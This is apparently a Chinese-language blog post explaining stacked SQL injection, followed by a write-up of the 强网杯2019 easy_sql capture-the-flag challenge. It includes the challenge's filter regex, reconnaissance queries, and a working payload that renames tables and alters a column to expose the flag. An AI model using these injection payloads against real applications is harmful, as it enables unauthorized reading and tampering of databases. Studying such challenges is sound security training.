HOME
HOME
文章目录
  1. 0x01 原理
  2. 0x02 强网杯2019 easy_sql

堆叠注入

0x01 原理

通过分号(;)连接多条SQL语句进行注入。union连接的联合查询能执行的语句时有限的,需要考虑到where子句之前的情况,而堆叠注入可执行任意mysql语句,比如use database等。在php代码中,采用mysqli_multi_query进行查询时,会造成堆叠注入,而如果采用mysql_query会显示语句错误不能进行堆叠注入。

局限性

代码一般只返回第一个查询结果,堆叠注入产生的结果或者错误只能被忽略,这就需要采用一些延时注入,或者alter类型的操作来修改数据达到查询结果的目的。

0x02 强网杯2019 easy_sql

image-20201103154443289

题目过滤了如下函数:

1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

基本的注入方式都过滤了,可以采用报错注入进行尝试,但无法跨表查询,过滤了.

image-20201103203004084

尝试堆叠注入show databases

image-20201103203351170

查看表名show tables from supersqli

image-20201103203447755

查看列名show columns from `1919810931114514` ,表名是纯数字,需要添加反引号识别为字符串

image-20201103203757420

查看到了存放flag的表,但无法通过语句查询出来结果,堆叠注入只能是前面的select语句回显结果。

最后需要通过alterrename直接修改1919810931114514表名,然后进行查询

1
rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

image-20201103204324144

查询flag

image-20201103204407576